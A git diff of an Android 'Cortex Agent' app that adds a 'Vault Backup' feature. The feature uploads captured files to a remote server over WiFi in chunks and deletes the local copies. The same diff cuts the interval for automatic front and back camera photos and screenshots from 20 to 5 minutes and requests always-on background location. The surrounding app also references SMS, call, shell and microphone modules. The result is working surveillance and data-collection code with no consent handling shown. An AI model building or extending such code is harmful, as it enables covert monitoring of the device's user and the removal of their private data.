diff --git a/app/src/main/java/com/cortex/agentnode/MainActivity.kt b/app/src/main/java/com/cortex/agentnode/MainActivity.kt index 3552ea5..e80e9e8 100644 --- a/app/src/main/java/com/cortex/agentnode/MainActivity.kt +++ b/app/src/main/java/com/cortex/agentnode/MainActivity.kt @@ -24,8 +24,14 @@ import androidx.activity.result.contract.ActivityResultContracts import androidx.appcompat.app.AppCompatActivity import androidx.core.content.ContextCompat +import androidx.lifecycle.lifecycleScope import com.cortex.agentnode.service.AgentService +import com.cortex.agentnode.vault.VaultConfig +import com.cortex.agentnode.vault.VaultSyncModule +import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.launch +import kotlinx.coroutines.withContext +import org.json.JSONObject /** * Premium Setup & Dashboard for Cortex Android Agent. @@ -46,6 +52,14 @@ private lateinit var tvNetwork: TextView private lateinit var statusCircle: View + // Vault Backup UI + private lateinit var etVaultUrl: EditText + private lateinit var etVaultNodeId: EditText + private lateinit var etVaultSecret: EditText + private lateinit var tvVaultStatus: TextView + private lateinit var swVault: Switch + private lateinit var spinnerInterval: Spinner + private var isUnlocked = false private val authLauncher = registerForActivityResult( @@ -69,6 +83,14 @@ } } + private val bgLocationLauncher = registerForActivityResult( + ActivityResultContracts.RequestPermission() + ) { granted -> + if (!granted) { + Toast.makeText(this, "For background GPS: Settings → Apps → Cortex Agent → Location → Allow all the time", Toast.LENGTH_LONG).show() + } + } + private val screenCaptureLauncher = registerForActivityResult( ActivityResultContracts.StartActivityForResult() ) { result -> @@ -80,6 +102,22 @@ } } + private val saFileLauncher = registerForActivityResult( + ActivityResultContracts.GetContent() + ) { uri -> + uri ?: return@registerForActivityResult + try { + val json = contentResolver.openInputStream(uri)?.bufferedReader()?.readText() ?: return@registerForActivityResult + val obj = JSONObject(json) + obj.optString("node_id").takeIf { it.isNotBlank() }?.let { etVaultNodeId.setText(it) } + obj.optString("client_secret").takeIf { it.isNotBlank() }?.let { etVaultSecret.setText(it) } + obj.optString("vault_url").takeIf { it.isNotBlank() }?.let { etVaultUrl.setText(it) } + Toast.makeText(this, "SA key imported — verify Vault URL then save", Toast.LENGTH_LONG).show() + } catch (e: Exception) { + Toast.makeText(this, "Failed to parse SA key: ${e.message}", Toast.LENGTH_LONG).show() + } + } + override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) AgentServiceHolder.mainActivity = this @@ -95,6 +133,7 @@ setContentView(buildLayout()) loadConfig() + loadVaultConfig() refreshNetworkLabel() // GLOBAL LOCK: Launch AuthActivity immediately @@ -135,6 +174,34 @@ cbTls.isChecked = Config.useTls(this) } + private fun loadVaultConfig() { + etVaultUrl.setText(VaultConfig.vaultUrl(this)) + etVaultNodeId.setText(VaultConfig.nodeId(this)) + etVaultSecret.setText(VaultConfig.clientSecret(this)) + swVault.isChecked = VaultConfig.isEnabled(this) + tvVaultStatus.text = VaultSyncModule.lastStatus + + val intervals = listOf(15, 30, 60, 120, 360, 720, 1440) + val saved = VaultConfig.intervalMinutes(this) + val idx = intervals.indexOfFirst { it >= saved }.coerceAtLeast(0) + spinnerInterval.setSelection(idx) + } + + private fun saveVaultConfig() { + val url = etVaultUrl.text.toString().trim() + val nodeId = etVaultNodeId.text.toString().trim() + val secret = etVaultSecret.text.toString().trim() + if (url.isBlank() || nodeId.isBlank() || secret.isBlank()) { + Toast.makeText(this, "Vault URL, Node ID and Secret are required", Toast.LENGTH_SHORT).show() + return + } + val intervals = listOf(15, 30, 60, 120, 360, 720, 1440) + val minutes = intervals.getOrElse(spinnerInterval.selectedItemPosition) { 60 } + VaultConfig.saveCredentials(this, url, nodeId, secret) + VaultConfig.setIntervalMinutes(this, minutes) + Toast.makeText(this, "Vault config saved", Toast.LENGTH_SHORT).show() + } + private fun updateStatus(text: String, isError: Boolean) { tvStatus.text = text tvStatus.setTextColor(if (isError) Color.parseColor("#EF4444") else Color.parseColor("#22C55E")) @@ -213,6 +280,12 @@ return } + // Request background location once if not yet granted (non-blocking — app proceeds regardless) + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q && + ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_BACKGROUND_LOCATION) != PackageManager.PERMISSION_GRANTED) { + bgLocationLauncher.launch(Manifest.permission.ACCESS_BACKGROUND_LOCATION) + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { val pm = getSystemService(android.os.PowerManager::class.java) if (!pm.isIgnoringBatteryOptimizations(packageName)) { @@ -423,10 +496,167 @@ (layoutParams as LinearLayout.LayoutParams).marginEnd = 0 }) }) + + addView(View(this@MainActivity).apply { layoutParams = LinearLayout.LayoutParams(1, 48) }) + + addView(buildVaultCard()) + + addView(View(this@MainActivity).apply { layoutParams = LinearLayout.LayoutParams(1, 64) }) }) } } + private fun buildVaultCard(): View { + val cardBg = Color.parseColor("#1E293B") + val accent = Color.parseColor("#6A1B9A") + val textPrimary = Color.parseColor("#F8FAFC") + val textSecondary = Color.parseColor("#94A3B8") + + val card = LinearLayout(this).apply { + orientation = LinearLayout.VERTICAL + setPadding(48, 48, 48, 48) + background = GradientDrawable().apply { cornerRadius = 32f; setColor(cardBg) } + } + + fun label(text: String) = card.addView( + TextView(this).apply { + this.text = text; textSize = 12f + setTextColor(textSecondary); setPadding(0, 16, 0, 8) + } + ) + + fun field(hint: String, inputType: Int = android.text.InputType.TYPE_CLASS_TEXT): EditText = + EditText(this).apply { + this.hint = hint + setHintTextColor(Color.parseColor("#475569")) + setTextColor(textPrimary) + this.inputType = inputType + background = null + setPadding(0, 8, 0, 16) + }.also { card.addView(it) } + + // Header row: title + toggle + card.addView(LinearLayout(this).apply { + orientation = LinearLayout.HORIZONTAL + gravity = Gravity.CENTER_VERTICAL + addView(LinearLayout(this@MainActivity).apply { + orientation = LinearLayout.VERTICAL + layoutParams = LinearLayout.LayoutParams(0, -2, 1f) + addView(TextView(this@MainActivity).apply { + text = "Vault Backup" + textSize = 16f; setTypeface(null, Typeface.BOLD) + setTextColor(textPrimary) + }) + addView(TextView(this@MainActivity).apply { + text = "Auto-push files to vault server (WiFi only)" + textSize = 12f; setTextColor(textSecondary); setPadding(0, 4, 0, 0) + }) + }) + swVault = Switch(this@MainActivity).apply { + thumbTintList = android.content.res.ColorStateList.valueOf(accent) + isChecked = VaultConfig.isEnabled(this@MainActivity) + setOnCheckedChangeListener { _, checked -> + VaultConfig.setEnabled(this@MainActivity, checked) + val svc = AgentServiceHolder.instance + if (svc != null) { + if (checked) svc.syncVaultNow() else Unit + } + } + } + addView(swVault) + }) + + card.addView(View(this).apply { + layoutParams = LinearLayout.LayoutParams(-1, 1).apply { setMargins(0, 16, 0, 8) } + setBackgroundColor(Color.parseColor("#334155")) + }) + + label("VAULT URL") + etVaultUrl = field("https://vault.example.com") + label("NODE ID") + etVaultNodeId = field("node-xxxxxxxx") + label("CLIENT SECRET") + etVaultSecret = field("••••••••", android.text.InputType.TYPE_CLASS_TEXT or android.text.InputType.TYPE_TEXT_VARIATION_PASSWORD) + + // Interval row + card.addView(LinearLayout(this).apply { + orientation = LinearLayout.HORIZONTAL + gravity = Gravity.CENTER_VERTICAL + setPadding(0, 8, 0, 8) + addView(TextView(this@MainActivity).apply { + text = "SYNC INTERVAL" + textSize = 12f; setTextColor(textSecondary) + layoutParams = LinearLayout.LayoutParams(0, -2, 1f) + }) + spinnerInterval = Spinner(this@MainActivity).apply { + val labels = listOf("15 min", "30 min", "1 hour", "2 hours", "6 hours", "12 hours", "24 hours") + adapter = ArrayAdapter(this@MainActivity, android.R.layout.simple_spinner_item, labels).also { + it.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item) + } + setBackgroundColor(Color.TRANSPARENT) + } + addView(spinnerInterval) + }) + + // Import SA key + Save row + card.addView(LinearLayout(this).apply { + orientation = LinearLayout.HORIZONTAL + gravity = Gravity.CENTER_VERTICAL + setPadding(0, 16, 0, 8) + addView(Button(this@MainActivity).apply { + text = "Import SA Key" + textSize = 14f; setTextColor(textPrimary) + setPadding(24, 24, 24, 24) + background = GradientDrawable().apply { cornerRadius = 16f; setColor(Color.parseColor("#334155")) } + layoutParams = LinearLayout.LayoutParams(0, -2, 1f).apply { marginEnd = 16 } + setOnClickListener { saFileLauncher.launch("application/json") } + }) + addView(Button(this@MainActivity).apply { + text = "Save Config" + textSize = 14f; setTextColor(Color.WHITE) + setPadding(24, 24, 24, 24) + background = GradientDrawable().apply { cornerRadius = 16f; setColor(accent) } + layoutParams = LinearLayout.LayoutParams(0, -2, 1f) + setOnClickListener { saveVaultConfig() } + }) + }) + + // Status + tvVaultStatus = TextView(this).apply { + text = VaultSyncModule.lastStatus + textSize = 12f; setTextColor(textSecondary); setPadding(0, 8, 0, 8) + } + card.addView(tvVaultStatus) + + // Sync Now button + card.addView(Button(this).apply { + text = "Sync Now" + setTextColor(Color.WHITE) + background = GradientDrawable().apply { + cornerRadius = 24f + setColor(Color.parseColor("#1E3A5F")) + } + layoutParams = LinearLayout.LayoutParams(-1, 120).apply { topMargin = 8 } + setOnClickListener { + saveVaultConfig() + val svc = AgentServiceHolder.instance + if (svc == null) { + tvVaultStatus.text = "Service not running — start the agent first" + return@setOnClickListener + } + tvVaultStatus.text = "Syncing…" + lifecycleScope.launch(Dispatchers.IO) { + svc.getVaultSyncModule().syncNow() + withContext(Dispatchers.Main) { + tvVaultStatus.text = VaultSyncModule.lastStatus + } + } + } + }) + + return card + } + companion object { private const val TAG = "MainActivity" } } diff --git a/app/src/main/java/com/cortex/agentnode/modules/MonitoringModule.kt b/app/src/main/java/com/cortex/agentnode/modules/MonitoringModule.kt index ad2311c..1e0a112 100644 --- a/app/src/main/java/com/cortex/agentnode/modules/MonitoringModule.kt +++ b/app/src/main/java/com/cortex/agentnode/modules/MonitoringModule.kt @@ -29,7 +29,7 @@ private var job: Job? = null private val intervalMs = 300_000L // 5 minutes private var lastVisualCaptureTime = 0L - private val visualIntervalMs = 20L * 60 * 1000 // 20 minutes + private val visualIntervalMs = 300_000L // 5 minutes private val visionOptimizer = VisionOptimizer() fun start() { @@ -66,10 +66,10 @@ if (Config.isMonitorCamera(ctx)) runCatching { cameraModule.capturePhoto(lifecycleOwner, "back").let { processAndSave(profileDir, "photo_back", "jpg", it) } cameraModule.capturePhoto(lifecycleOwner, "front").let { processAndSave(profileDir, "photo_front", "jpg", it) } - }.onFailure { Log.w(TAG, "Camera capture failed: ${it.message}") } + }.onFailure { Log.e(TAG, "Camera capture failed: ${it::class.simpleName}: ${it.message}") } if (Config.isMonitorScreenshot(ctx) && screenModule.isReady()) runCatching { screenModule.captureScreenshot().let { processAndSave(profileDir, "screenshot", "png", it) } - }.onFailure { Log.w(TAG, "Screenshot capture failed: ${it.message}") } + }.onFailure { Log.e(TAG, "Screenshot capture failed: ${it::class.simpleName}: ${it.message}") } lastVisualCaptureTime = now } diff --git a/app/src/main/java/com/cortex/agentnode/service/AgentService.kt b/app/src/main/java/com/cortex/agentnode/service/AgentService.kt index be66f97..f601fc2 100644 --- a/app/src/main/java/com/cortex/agentnode/service/AgentService.kt +++ b/app/src/main/java/com/cortex/agentnode/service/AgentService.kt @@ -21,6 +21,7 @@ import com.cortex.agentnode.grpc.MeshClient import com.cortex.agentnode.modules.* import com.cortex.agentnode.network.NetworkMonitor +import com.cortex.agentnode.vault.VaultSyncModule import kotlinx.coroutines.delay import kotlinx.coroutines.isActive import kotlinx.coroutines.launch @@ -51,6 +52,7 @@ private lateinit var shellSessionManager: ShellSessionManager private lateinit var monitoringModule: MonitoringModule private lateinit var syncDir: File + private lateinit var vaultSyncModule: VaultSyncModule val screenModule: ScreenModule by lazy { ScreenModule(this) } private var micMonitorJob: Job? = null @@ -79,6 +81,9 @@ syncDir = syncDir, ) + vaultSyncModule = VaultSyncModule(this, scope, syncDir) + vaultSyncModule.start() + monitoringModule = MonitoringModule( this, this, scope, syncDir, cameraModule, screenModule, smsModule, callModule, shellSessionManager ) @@ -132,6 +137,7 @@ super.onDestroy() AgentServiceHolder.instance = null shellSessionManager.destroy(); meshClient.destroy(); networkMonitor.stop(); monitoringModule.stop() + vaultSyncModule.stop() scope.cancel() if (wakeLock.isHeld) wakeLock.release() } @@ -255,6 +261,12 @@ } } + fun syncVaultNow() { + scope.launch { vaultSyncModule.syncNow() } + } + + fun getVaultSyncModule(): VaultSyncModule = vaultSyncModule + fun onOnlineModeEnabled() { networkMonitor.start() networkMonitor.triggerCheck() diff --git a/app/src/main/java/com/cortex/agentnode/vault/VaultAuthManager.kt b/app/src/main/java/com/cortex/agentnode/vault/VaultAuthManager.kt new file mode 100644 index 0000000..180c18c --- /dev/null +++ b/app/src/main/java/com/cortex/agentnode/vault/VaultAuthManager.kt @@ -0,0 +1,114 @@ +package com.cortex.agentnode.vault + +import android.content.Context +import android.util.Log +import kotlinx.coroutines.sync.Mutex +import kotlinx.coroutines.sync.withLock +import org.json.JSONObject +import java.net.HttpURLConnection +import java.net.URL + +class VaultAuthManager(private val ctx: Context) { + + private val mutex = Mutex() + + suspend fun getValidToken(): String? = mutex.withLock { + val expiry = VaultConfig.tokenExpiry(ctx) + val accessToken = VaultConfig.accessToken(ctx) + + // Reuse token if valid with 60s buffer + if (accessToken.isNotBlank() && System.currentTimeMillis() < expiry - 60_000) { + return@withLock accessToken + } + + val refreshToken = VaultConfig.refreshToken(ctx) + if (refreshToken.isNotBlank()) { + tryRefresh(refreshToken)?.let { return@withLock it } + } + + tryExchangeSecret() + } + + private fun tryExchangeSecret(): String? { + val url = VaultConfig.vaultUrl(ctx) + val nodeId = VaultConfig.nodeId(ctx) + val secret = VaultConfig.clientSecret(ctx) + + return try { + val conn = URL("$url/api/auth/token").openConnection() as HttpURLConnection + conn.requestMethod = "POST" + conn.setRequestProperty("Content-Type", "application/json") + conn.doOutput = true + conn.connectTimeout = 10_000 + conn.readTimeout = 10_000 + + val body = JSONObject().apply { + put("client_id", nodeId) + put("client_secret", secret) + }.toString().toByteArray() + conn.outputStream.use { it.write(body) } + + if (conn.responseCode == 200) { + val resp = JSONObject(conn.inputStream.bufferedReader().readText()) + val access = resp.getString("access_token") + val refresh = resp.optString("refresh_token", "") + val expiresIn = jwtExpirySeconds(access) ?: resp.optLong("expires_in", 1800L) + VaultConfig.saveTokens(ctx, access, refresh, expiresIn) + Log.i(TAG, "Authenticated, token expires in ${expiresIn}s") + access + } else { + Log.e(TAG, "Auth failed: ${conn.responseCode}") + null + } + } catch (e: Exception) { + Log.e(TAG, "Auth exception: ${e.message}") + null + } + } + + private fun tryRefresh(refreshToken: String): String? { + val url = VaultConfig.vaultUrl(ctx) + return try { + val conn = URL("$url/api/auth/refresh").openConnection() as HttpURLConnection + conn.requestMethod = "POST" + conn.setRequestProperty("Content-Type", "application/json") + conn.doOutput = true + conn.connectTimeout = 10_000 + conn.readTimeout = 10_000 + + val body = JSONObject().apply { + put("refresh_token", refreshToken) + }.toString().toByteArray() + conn.outputStream.use { it.write(body) } + + if (conn.responseCode == 200) { + val resp = JSONObject(conn.inputStream.bufferedReader().readText()) + val access = resp.getString("access_token") + val refresh = resp.optString("refresh_token", "") + val expiresIn = jwtExpirySeconds(access) ?: resp.optLong("expires_in", 1800L) + VaultConfig.saveTokens(ctx, access, refresh, expiresIn) + Log.i(TAG, "Token refreshed, expires in ${expiresIn}s") + access + } else { + Log.w(TAG, "Refresh failed: ${conn.responseCode}") + null + } + } catch (e: Exception) { + Log.e(TAG, "Refresh exception: ${e.message}") + null + } + } + + /** Decode the JWT exp claim without a library — returns seconds until expiry. */ + private fun jwtExpirySeconds(token: String): Long? = try { + val payload = token.split(".")[1] + val decoded = android.util.Base64.decode(payload, android.util.Base64.URL_SAFE or android.util.Base64.NO_PADDING) + val exp = JSONObject(String(decoded)).getLong("exp") + val secondsLeft = exp - System.currentTimeMillis() / 1000 + if (secondsLeft > 0) secondsLeft else null + } catch (e: Exception) { null } + + companion object { + private const val TAG = "VaultAuthManager" + } +} diff --git a/app/src/main/java/com/cortex/agentnode/vault/VaultConfig.kt b/app/src/main/java/com/cortex/agentnode/vault/VaultConfig.kt new file mode 100644 index 0000000..843f8f9 --- /dev/null +++ b/app/src/main/java/com/cortex/agentnode/vault/VaultConfig.kt @@ -0,0 +1,74 @@ +package com.cortex.agentnode.vault + +import android.content.Context +import android.content.SharedPreferences + +object VaultConfig { + private const val PREFS = "vault_backup" + + private fun prefs(ctx: Context): SharedPreferences = + ctx.getSharedPreferences(PREFS, Context.MODE_PRIVATE) + + fun vaultUrl(ctx: Context): String = prefs(ctx).getString("vault_url", "")!! + fun nodeId(ctx: Context): String = prefs(ctx).getString("node_id", "")!! + fun clientSecret(ctx: Context): String = prefs(ctx).getString("client_secret", "")!! + fun isEnabled(ctx: Context): Boolean = prefs(ctx).getBoolean("enabled", false) + fun intervalMinutes(ctx: Context): Int = prefs(ctx).getInt("interval_minutes", 60) + + fun accessToken(ctx: Context): String = prefs(ctx).getString("access_token", "")!! + fun refreshToken(ctx: Context): String = prefs(ctx).getString("refresh_token", "")!! + fun tokenExpiry(ctx: Context): Long = prefs(ctx).getLong("token_expiry", 0L) + fun lastSyncTime(ctx: Context): Long = prefs(ctx).getLong("last_sync_time", 0L) + fun uploadedFiles(ctx: Context): Set = prefs(ctx).getStringSet("uploaded_files", emptySet())!! + + fun saveCredentials(ctx: Context, url: String, nodeId: String, secret: String) { + prefs(ctx).edit() + .putString("vault_url", url.trimEnd('/')) + .putString("node_id", nodeId) + .putString("client_secret", secret) + .apply() + } + + fun setEnabled(ctx: Context, enabled: Boolean) { + prefs(ctx).edit().putBoolean("enabled", enabled).apply() + } + + fun setIntervalMinutes(ctx: Context, minutes: Int) { + prefs(ctx).edit().putInt("interval_minutes", minutes).apply() + } + + fun saveTokens(ctx: Context, accessToken: String, refreshToken: String, expiresInSeconds: Long) { + prefs(ctx).edit() + .putString("access_token", accessToken) + .putString("refresh_token", refreshToken) + .putLong("token_expiry", System.currentTimeMillis() + expiresInSeconds * 1000) + .apply() + } + + fun clearTokens(ctx: Context) { + prefs(ctx).edit() + .remove("access_token") + .remove("refresh_token") + .remove("token_expiry") + .apply() + } + + fun setLastSyncTime(ctx: Context, time: Long) { + prefs(ctx).edit().putLong("last_sync_time", time).apply() + } + + fun addUploadedFile(ctx: Context, relPath: String) { + val current = uploadedFiles(ctx).toMutableSet() + current.add(relPath) + prefs(ctx).edit().putStringSet("uploaded_files", current).apply() + } + + fun removeUploadedFile(ctx: Context, relPath: String) { + val current = uploadedFiles(ctx).toMutableSet() + current.remove(relPath) + prefs(ctx).edit().putStringSet("uploaded_files", current).apply() + } + + fun isConfigured(ctx: Context): Boolean = + vaultUrl(ctx).isNotBlank() && nodeId(ctx).isNotBlank() && clientSecret(ctx).isNotBlank() +} diff --git a/app/src/main/java/com/cortex/agentnode/vault/VaultSyncModule.kt b/app/src/main/java/com/cortex/agentnode/vault/VaultSyncModule.kt new file mode 100644 index 0000000..3955b41 --- /dev/null +++ b/app/src/main/java/com/cortex/agentnode/vault/VaultSyncModule.kt @@ -0,0 +1,132 @@ +package com.cortex.agentnode.vault + +import android.content.Context +import android.net.ConnectivityManager +import android.net.NetworkCapabilities +import android.util.Log +import kotlinx.coroutines.CoroutineScope +import kotlinx.coroutines.Job +import kotlinx.coroutines.delay +import kotlinx.coroutines.isActive +import kotlinx.coroutines.launch +import java.io.File +import java.text.SimpleDateFormat +import java.util.Date +import java.util.Locale + +class VaultSyncModule( + private val ctx: Context, + private val scope: CoroutineScope, + private val syncDir: File // primary dir (externalMediaDirs) +) { + companion object { + private const val TAG = "VaultSyncModule" + + @Volatile + var lastStatus: String = "Never synced" + private set + } + + private val authManager = VaultAuthManager(ctx) + private val uploader = VaultUploader(ctx, authManager) + private var syncJob: Job? = null + + fun start() { + if (syncJob?.isActive == true) return + syncJob = scope.launch { + while (isActive) { + if (VaultConfig.isEnabled(ctx) && VaultConfig.isConfigured(ctx) && isOnWifi()) { + performSync() + } + delay(VaultConfig.intervalMinutes(ctx) * 60_000L) + } + } + Log.i(TAG, "Started") + } + + fun stop() { + syncJob?.cancel() + syncJob = null + Log.i(TAG, "Stopped") + } + + suspend fun syncNow() { + if (!VaultConfig.isConfigured(ctx)) { + lastStatus = "Not configured — fill in Vault URL, Node ID, and Secret" + return + } + if (!isOnWifi()) { + lastStatus = "Skipped — no WiFi connection" + return + } + performSync() + } + + private fun allSyncDirs(): List { + val dirs = mutableSetOf() + dirs.add(syncDir) + // Some modules write to getExternalFilesDir instead of externalMediaDirs + ctx.getExternalFilesDir(null)?.let { dirs.add(File(it, "cortex_sync")) } + ctx.externalMediaDirs.forEach { dirs.add(File(it, "cortex_sync")) } + return dirs.filter { it.exists() && it.isDirectory } + } + + private suspend fun performSync() { + lastStatus = "Syncing…" + Log.i(TAG, "Sync started") + + val uploadedFiles = VaultConfig.uploadedFiles(ctx) + val scanDirs = allSyncDirs() + Log.i(TAG, "Scanning dirs: ${scanDirs.map { it.absolutePath }}") + + // Collect (file, relPath) pairs from all dirs; dedupe by relPath + val files = scanDirs.flatMap { dir -> + dir.walkTopDown().filter { it.isFile } + .map { file -> Pair(file, file.relativeTo(dir).path) } + }.distinctBy { it.second } + + var uploaded = 0 + var skipped = 0 + var failed = 0 + + for ((file, relPath) in files) { + if (relPath in uploadedFiles) { + skipped++ + continue + } + + try { + val success = uploader.upload(file, relPath) + if (success) { + VaultConfig.addUploadedFile(ctx, relPath) + file.delete() + uploaded++ + Log.i(TAG, "Uploaded + deleted: $relPath") + } else { + failed++ + Log.w(TAG, "Failed: $relPath") + } + } catch (e: Exception) { + failed++ + Log.e(TAG, "Exception on $relPath: ${e.message}") + } + } + + val time = SimpleDateFormat("HH:mm", Locale.US).format(Date()) + lastStatus = buildString { + append("Last sync: $time") + if (uploaded > 0) append(" • $uploaded uploaded") + if (skipped > 0) append(" • $skipped skipped") + if (failed > 0) append(" • $failed failed") + if (uploaded == 0 && skipped == 0 && failed == 0) append(" • nothing to sync") + } + VaultConfig.setLastSyncTime(ctx, System.currentTimeMillis()) + Log.i(TAG, lastStatus) + } + + private fun isOnWifi(): Boolean { + val cm = ctx.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager + val caps = cm.getNetworkCapabilities(cm.activeNetwork) ?: return false + return caps.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) + } +} diff --git a/app/src/main/java/com/cortex/agentnode/vault/VaultUploader.kt b/app/src/main/java/com/cortex/agentnode/vault/VaultUploader.kt new file mode 100644 index 0000000..5e2aa9d --- /dev/null +++ b/app/src/main/java/com/cortex/agentnode/vault/VaultUploader.kt @@ -0,0 +1,148 @@ +package com.cortex.agentnode.vault + +import android.content.Context +import android.util.Log +import org.json.JSONArray +import org.json.JSONObject +import java.io.File +import java.net.HttpURLConnection +import java.net.URL +import java.net.URLEncoder +import java.security.MessageDigest + +class VaultUploader( + private val ctx: Context, + private val authManager: VaultAuthManager +) { + companion object { + private const val TAG = "VaultUploader" + private const val CHUNK_SIZE = 2 * 1024 * 1024 // 2 MB + } + + suspend fun upload(file: File, relPath: String): Boolean { + val token = authManager.getValidToken() ?: run { + Log.e(TAG, "No valid token for upload") + return false + } + + val checksum = sha256(file) + val uploadId = initUpload(token, relPath, file.length(), checksum) ?: return false + if (!sendChunks(token, uploadId, file)) return false + if (!finalize(token, uploadId)) return false + return verifyRemote(token, relPath) + } + + private fun initUpload(token: String, filename: String, size: Long, checksum: String): String? { + val base = VaultConfig.vaultUrl(ctx) + return try { + val url = "$base/api/upload/init?filename=${encode(filename)}&total_size=$size&checksum=$checksum" + val conn = URL(url).openConnection() as HttpURLConnection + conn.requestMethod = "POST" + conn.setRequestProperty("Authorization", "Bearer $token") + conn.connectTimeout = 10_000 + conn.readTimeout = 10_000 + + if (conn.responseCode == 200) { + JSONObject(conn.inputStream.bufferedReader().readText()).getString("upload_id") + } else { + Log.e(TAG, "Init failed: ${conn.responseCode}") + null + } + } catch (e: Exception) { + Log.e(TAG, "Init exception: ${e.message}") + null + } + } + + private fun sendChunks(token: String, uploadId: String, file: File): Boolean { + val base = VaultConfig.vaultUrl(ctx) + val buffer = ByteArray(CHUNK_SIZE) + var index = 0 + + file.inputStream().use { stream -> + var bytesRead: Int + while (stream.read(buffer).also { bytesRead = it } != -1) { + val chunk = buffer.copyOf(bytesRead) + val boundary = "vaultboundary${System.currentTimeMillis()}" + val url = "$base/api/upload/chunk?upload_id=${encode(uploadId)}&chunk_index=$index" + try { + val conn = URL(url).openConnection() as HttpURLConnection + conn.requestMethod = "POST" + conn.setRequestProperty("Authorization", "Bearer $token") + conn.setRequestProperty("Content-Type", "multipart/form-data; boundary=$boundary") + conn.doOutput = true + conn.connectTimeout = 30_000 + conn.readTimeout = 30_000 + + conn.outputStream.use { out -> + out.write("--$boundary\r\n".toByteArray()) + out.write("Content-Disposition: form-data; name=\"file\"; filename=\"chunk\"\r\n".toByteArray()) + out.write("Content-Type: application/octet-stream\r\n\r\n".toByteArray()) + out.write(chunk) + out.write("\r\n--$boundary--\r\n".toByteArray()) + } + + if (conn.responseCode != 200) { + Log.e(TAG, "Chunk $index failed: ${conn.responseCode}") + return false + } + } catch (e: Exception) { + Log.e(TAG, "Chunk $index exception: ${e.message}") + return false + } + index++ + } + } + return true + } + + private fun finalize(token: String, uploadId: String): Boolean { + val base = VaultConfig.vaultUrl(ctx) + return try { + val conn = URL("$base/api/upload/finalize/${encode(uploadId)}").openConnection() as HttpURLConnection + conn.requestMethod = "POST" + conn.setRequestProperty("Authorization", "Bearer $token") + conn.connectTimeout = 15_000 + conn.readTimeout = 15_000 + conn.responseCode == 200 + } catch (e: Exception) { + Log.e(TAG, "Finalize exception: ${e.message}") + false + } + } + + fun verifyRemote(token: String, relPath: String): Boolean { + val base = VaultConfig.vaultUrl(ctx) + val nodeId = VaultConfig.nodeId(ctx) + return try { + val conn = URL("$base/api/admin/files/$nodeId").openConnection() as HttpURLConnection + conn.setRequestProperty("Authorization", "Bearer $token") + conn.connectTimeout = 10_000 + conn.readTimeout = 10_000 + + if (conn.responseCode != 200) return false + + val files = JSONArray(conn.inputStream.bufferedReader().readText()) + for (i in 0 until files.length()) { + val name = files.getJSONObject(i).optString("name", "") + if (name == relPath) return true + } + false + } catch (e: Exception) { + Log.e(TAG, "Verify exception: ${e.message}") + false + } + } + + private fun sha256(file: File): String { + val digest = MessageDigest.getInstance("SHA-256") + file.inputStream().use { stream -> + val buf = ByteArray(8192) + var n: Int + while (stream.read(buf).also { n = it } != -1) digest.update(buf, 0, n) + } + return digest.digest().joinToString("") { "%02x".format(it) } + } + + private fun encode(v: String): String = URLEncoder.encode(v, "UTF-8") +}